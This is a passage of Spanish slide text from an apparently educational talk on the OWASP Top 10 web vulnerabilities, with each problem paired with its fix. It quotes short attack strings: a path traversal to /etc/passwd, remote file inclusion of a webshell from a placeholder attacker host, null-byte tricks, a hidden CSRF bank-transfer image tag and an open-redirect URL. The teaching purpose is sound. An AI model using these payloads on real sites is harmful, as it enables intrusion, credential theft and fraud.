  • 57. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLOS REALES • Twitter: Retweet automático de un mensaje sólo con visualizarlo. • Youtube: Redireccionar a páginas con malware al visualizar un comentario. • Facebook: Robo de cookies de sesión.
  • 58. PROYECTO OWASP TOP 10: A3 – XSS LA SOLUCIÓN Filtrar y codificar la información de entrada antes de usarla como salida en HTML. • En general, sustituir los caracteres con significado en HTML por entidades sin significado: > se convierte en &gt; < se convierte en &lt; & se convierte en &amp; etc…
  • 59. PROYECTO OWASP TOP 10 A4 – Referencia directa insegura a objetos
  • 60. PROYECTO OWASP TOP 10: A4 – Referencias EL PROBLEMA Acceder a información en BBDD, objetos o archivos sin comprobar que el usuario tenga permisos sobre ellos.
  • 61. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 1 Insuficiente control de acceso a referencias http://victima.com/verfactura?fact=918433 El atacante prueba códigos aleatorios de facturas para tratar de acceder a documentos de otras personas.
  • 62. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 2 Path Traversal http://victima.com/verfactura?fact=918433.pdf El atacante intenta llegar a recursos del sistema a través del parámetro: http://victima.com/verfactura?fact=../../../etc/passwd
  • 63. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 3 Remote File Inclusion http://victima.com/index.php?p=facturas.php El código fuente de index.php contiene: include( $_GET['p'] ); El atacante puede abrir una webshell en el servidor de la víctima solicitando: http://victima.com/index.php?p=http://atacante/webshell.txt
  • 64. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 3 Remote File Inclusion En PHP, las inclusiones tienen muuuuuucho peligro: • include() • require() • include_once() • require_once()
  • 65. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 4 Remote File Inclusion (con extensión implícita) http://victima.com/index.php?p=facturas El código fuente de index.php contiene: include( $_GET['p'] . '.php' ); En PHP, el byte NULL 0 corta el procesamiento del string, ignorando el resto: http://victima.com/index.php?p=http://atacante/webshell.txt%00
  • 66. PROYECTO OWASP TOP 10: A4 – Referencias LA SOLUCIÓN • Utilizar referencias indirectas: – Ej: http://ejemplo.com/verfactura?fact=enero05 • Comprobar el acceso a todas las referencias directas. Se debe asegurar que el usuario está autorizado para acceder al objeto solicitado. • ¡Mucho cuidado con las inclusiones!
  • 67. PROYECTO OWASP TOP 10 A5 – Configuración de seguridad incorrecta
  • 68. PROYECTO OWASP TOP 10: A5 – Configuración EL PROBLEMA • Software sin actualizar. • Hay características innecesarias instaladas. • Las cuentas de usuario y/o contraseñas por defecto están sin cambiar. • Los mensajes de error están en modo debug.
  • 69. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 1 Software sin actualizar La versión de PHP instalada en el sistema es vulnerable a un ataque de buffer overflow que permite la ejecución arbitraria de código. (ejecución arbitraria de código = date por jodido)
  • 70. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 2 Contraseñas por defecto (caso real) Cientos de gasolineras en España permiten acceder con contraseña por defecto al panel de control de seguridad de las mismas. El fallo permite, entre otras cosas, manipular el sistema de alarmas de los tanques de combustible.
  • 71. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  • 72. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  • 73. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  • 74. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  • 75. PROYECTO OWASP TOP 10: A5 – Configuración LA SOLUCIÓN • Asegurar y configurar correctamente el entorno. • Eliminar el software no utilizado. • Tener un plan de actualizaciones de software. – Y llevarlo a cabo.
  • 76. PROYECTO OWASP TOP 10 A6 – Exposición de datos sensibles
  • 77. PROYECTO OWASP TOP 10: A6 – Datos Sensibles EL PROBLEMA • No cifrar en BBDD la información sensible. • No utilizar SSL. • Utilizar algún algoritmo criptográfico débil. • Incorrecta rotación o mala gestión de claves criptográficas. • Ficheros subidos al servidor que no deberían estar ahí.
  • 78. PROYECTO OWASP TOP 10: A6 – Datos Sensibles EJEMPLO 1 Datos sensibles sin cifrar Escenario: La aplicación almacena en BBDD las contraseñas de los usuarios sin cifrar. Un atacante consigue robar la tabla de usuarios mediante una vulnerabilidad de inyección SQL, y se lleva las contraseñas en claro.
  • 79. PROYECTO OWASP TOP 10: A6 – Datos Sensibles EJEMPLO 2 Datos sensibles sin cifrar (otra vez) Escenario: La aplicación almacena en BBDD las contraseñas de los usuarios con un hash sin salt. Un atacante consigue robar la tabla de usuarios mediante una vulnerabilidad de inyección SQL. Mediante tablas Rainbow consigue descifrar un gran porcentaje de contraseñas en minutos.
  • 80. EJEMPLO 3 Ficheros que no deberían estar ahí • .DS_Store • thumbs.db • desktop.ini • .svn • .bashrc (y demás ocultos de la $HOME) • *.java • Etc… PROYECTO OWASP TOP 10: A6 – Datos Sensibles
  • 81. PROYECTO OWASP TOP 10: A6 – Datos sensibles LA SOLUCIÓN • Cifra todos los datos sensibles que sean almacenados o transmitidos. – Utiliza hash con salt. • No almacenes información de más. • Utiliza algoritmos de cifrado fuerte. – MD5 está desaconsejado desde 2004 por problemas de colisiones. • Deshabilita "autocompletar" en formularios que contengan datos sensibles. • Deshabilita el cacheado de páginas que contengan datos sensibles.
  • 82. PROYECTO OWASP TOP 10 A7 – Ausencia de control de acceso a funciones
  • 83. PROYECTO OWASP TOP 10: A7 – Acceso EL PROBLEMA • La aplicación no controla adecuadamente el acceso a las páginas privadas. – ¿La interfaz de usuario muestra links hacia funcionalidades no autorizadas? – ¿Se comprueba la autorización en todas las páginas y acciones de formularios?
  • 84. PROYECTO OWASP TOP 10: A7 – Acceso EJEMPLO 1 El atacante envía una petición POST a un formulario privado para intentar una escalada de privilegios: http://ejemplo.com/admin/createuser.php
  • 85. PROYECTO OWASP TOP 10: A7 – Acceso LA SOLUCIÓN • Diseñar cuidadosamente el sistema de control de accesos. – Debería ser fácilmente auditable y parametrizable. • Realizar pruebas intensivas para garantizar la calidad de la implementación. – Hay que probar con usuarios no autenticados, y con usuarios con permisos limitados.
  • 86. PROYECTO OWASP TOP 10 A8 – Falsificación de Peticiones en Sitios Cruzados (CSRF)
  • 87. PROYECTO OWASP TOP 10: A8 – CSRF EL PROBLEMA Formularios que permiten a un atacante falsificar peticiones en nombre de la víctima.
  • 88. PROYECTO OWASP TOP 10: A8 – CSRF EL PROBLEMA Cuando la víctima visita un sitio malicioso controlado por el atacante, éste último puede: • Publicar mensajes en nombre de la víctima. • Transferir dinero. • Enviar emails. • Y en general, actuar sobre cualquier formulario de los sitios web donde la víctima mantenga sesión abierta.
  • 89. PROYECTO OWASP TOP 10: A8 – CSRF EJEMPLO 1 La víctima deja abierta la sesión con su banco online, y visita la web del atacante. La web maliciosa contiene una imagen con la siguiente definición: <img src="https://mibanco.com/areaclientes/transferir? cantidad=5000&cuentadestino=atacante" width="0" height="0" />
  • 90. PROYECTO OWASP TOP 10: A8 – CSRF EJEMPLO 1 Si la víctima está autenticada en su banco online, las peticiones falsificadas incluirán automáticamente la información de la sesión, autorizando la operación.
  • 91. PROYECTO OWASP TOP 10: A8 – CSRF EJEMPLO 2 Espionaje en cuentas de Gmail (2007) 1. El usuario inicia sesión en Gmail. 2. El usuario visita una página que contiene código malicioso. 3. El usuario envía (sin saberlo) una petición a Gmail, creando un filtro de correo para redirigir todo el correo entrante al atacante.
  • 92. PROYECTO OWASP TOP 10: A8 – CSRF LA SOLUCIÓN 1. Cuando el usuario solicita el formulario, generar un token único no predecible, y enviarlo en un campo oculto. 2. Cuando el usuario hace submit del formulario, comprobar que el token devuelto es el esperado. – Rechazar la petición si no coincide, pertenece a otro usuario, es vacío, o no está presente.
  • 93. PROYECTO OWASP TOP 10: A8 – CSRF OTRAS SOLUCIONES 1. Utilizar CAPTCHAs. 2. Solicitar re-autenticación para ciertas operaciones.
  • 94. PROYECTO OWASP TOP 10 A9 – Uso de Componentes con Vulnerabilidades Conocidas
  • 95. PROYECTO OWASP TOP 10: A9 – Componentes EL PROBLEMA Utilizar plugins, librerías, frameworks, o cualquier pieza de software con vulnerabilidades conocidas.
  • 96. PROYECTO OWASP TOP 10: A9 – Componentes EJEMPLO Utilizar un plugin de Wordpress que permite realizar un ataque XSS y compromete todo el sitio web.
  • 97. PROYECTO OWASP TOP 10: A9 – Componentes LA SOLUCIÓN • Revisar la base de datos CVE de MITRE. – Hay que hacer un inventario de todo el software, plugins, frameworks, especificando las versiones de cada uno de ellos, y comprobar si poseen vulnerabilidades conocidas. • Tener un plan de actualizaciones de software. – Y llevarlo a cabo.
  • 98. PROYECTO OWASP TOP 10 A10 – Redirecciones y Reenvíos No Válidos
  • 99. PROYECTO OWASP TOP 10: A10 – Redirecciones EL PROBLEMA Realizar redirecciones a otras partes de nuestra web, aceptando el destino de la redirección desde parámetro y sin filtrar.
  • 100. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 1 Escenario: Cuando un visitante intenta acceder a una parte privada de nuestra web, se le envía al formulario de login, especificando como parámetro la página privada que quería ver. El objetivo es enviarle a la página privada una vez haya iniciado la sesión.
  • 101. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 1 Comportamiento esperado: El usuario pide: http://ejemplo.com/foros/privado.php El sistema redirige a: http://ejemplo.com/foros/login.php?redirect=privado.php Cuando el usuario se identifica, el sistema le redirige automáticamente a la página que quería visitar.
  • 102. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 1 Ataque: El atacante compone y envía a la víctima la siguiente URL: http://ejemplo.com/foros/login?redirect=http:// sitiosuperhacker.com
  • 103. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 2 Escenario: Si el parámetro sólo llevara el nombre del archivo y nuestro código concatenara la extensión ".php", mitigaría el ataque… ¿Seguro?
  • 104. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 2 Comportamiento esperado: El usuario pide: http://ejemplo.com/foros/privado.php El sistema redirige a: http://ejemplo.com/foros/login.php?redirect=privado El destino final se calcula así: $destino = $_GET['redirect'] . '.php';
  • 105. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 2 Ataque: En PHP, el byte NULL 0 corta el procesamiento del string, ignorando el resto. El atacante compone y envía a la víctima la siguiente URL: http://ejemplo.com/foros/login?redirect=http://sitio superhacker.com%00
  • 106. PROYECTO OWASP TOP 10: A10 – Redirecciones LA SOLUCIÓN 1. Evitar redirecciones siempre que se pueda. 2. No utilizar parámetros manipulables por el usuario. 3. Si no queda más remedio: 1. Comprobar que el valor de destino sea válido y autorizado. 2. Utilizar valores de mapeo, en lugar de la dirección real de destino (o una porción de ésta). 3. Utilizar listas blancas.
  • 107. 5. CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS
  • 108. CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS 1. Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') 2. Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') 3. Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') 4. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') 5. Missing Authentication for Critical Function 6. Missing Authorization 7. Use of Hard-coded Credentials 8. Missing Encryption of Sensitive Data 9. Unrestricted Upload of File with Dangerous Type 10. Reliance on Untrusted Inputs in a Security Decision 11. Execution with Unnecessary Privileges 12. Cross-Site Request Forgery (CSRF)
  • 109. CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS 13. Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') 14. Download of Code Without Integrity Check 15. Incorrect Authorization 16. Inclusion of Functionality from Untrusted Control Sphere 17. Incorrect Permission Assignment for Critical Resource 18. Use of Potentially Dangerous Function 19. Use of a Broken or Risky Cryptographic Algorithm 20. Incorrect Calculation of Buffer Size 21. Improper Restriction of Excessive Authentication Attempts 22. URL Redirection to Untrusted Site ('Open Redirect') 23. Uncontrolled Format String 24. Integer Overflow or Wraparound 25. Use of a One-Way Hash without a Salt
  • 110. 6. OTRAS REFERENCIAS DE SEGURIDAD
  • 111. OTRAS REFERENCIAS DE SEGURIDAD • Recursos OWASP: – OWASP Application Security Verification Standard – OWASP Backend Security Project – OWASP PHP Security Project – OWASP Secure Coding Practices • Base de datos de debilidades CWE de MITRE. • Base de datos de vulnerabilidades CVE de MITRE. • Base de datos de vulnerabilidades de SecurityFocus. • Informes INCIBE (antes INTECO), dependiente del Ministerio de Industria, Energía y Turismo. • Informes de Veracode.
  • 113. ¿PREGUNTAS? ¡GRACIAS POR VUESTRA ATENCIÓN! Ander Izquierdo axelko@gmail.com
  • 114. Competición de Seguridad Informática organizada por INCIBE para la captación de nuevos talentos. Hay varias temáticas: • Ingeniería Inversa • Exploiting • Análisis Forense • Vulnerabilidades Web • Criptografía ¡Y empieza hoy! Del 17 hasta el 26 de julio.